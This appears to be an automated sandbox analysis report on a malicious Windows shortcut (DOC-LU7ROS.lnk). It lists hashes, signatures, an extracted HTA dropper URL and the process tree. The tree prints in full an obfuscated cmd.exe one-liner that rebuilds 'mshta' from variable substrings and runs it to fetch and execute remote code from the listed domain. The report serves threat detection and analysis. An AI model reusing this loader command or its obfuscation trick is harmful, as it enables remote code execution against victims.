Analysis

  • max time kernel
    40s
  • max time network
    42s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 16:51

General

  • Target
    DOC-LU7ROS.lnk
  • Size 2KB
  • Sample260803-vdaqfawsew
  • SHA256 a740a53f6fec7d2915d53663bfd3717a78927a44b4e60033df3021abcab6407b
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-LU7ROS.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5776
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/v:on/C"set nqw=datyykcxwxcnccpnehdat&&set mBEEf=sysizoxfatsys&&set oLnrd=tmplopbbtmp&&set YuAXl=baktdomzeqlzvgmejcnybak&&set yBEJY=rvmshg5&&set od=jth&&set pI=ioau&&set eMGFU=dbggubnferxisidbg&&set liPgU=datoedyexrckhkdat&&set dHs=cfgbbtggtqgfcfg&&set OewOd=0xstaz79&&set NKn=ucrtw&&set ovdIR=oldqaatebold&&set cxiqY=oldmczqxatdold&&set PX=h@tt@p@s://m@a-@pdf@f@iller@.@l@at/@h@/est@agi@o1.@ph@p?@r=@39@1@469FB5@D@82DB&&start /b !yBEJY:~2,3!!od:~1,1!!pI:~2,1! !PX:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4616
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:6036

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads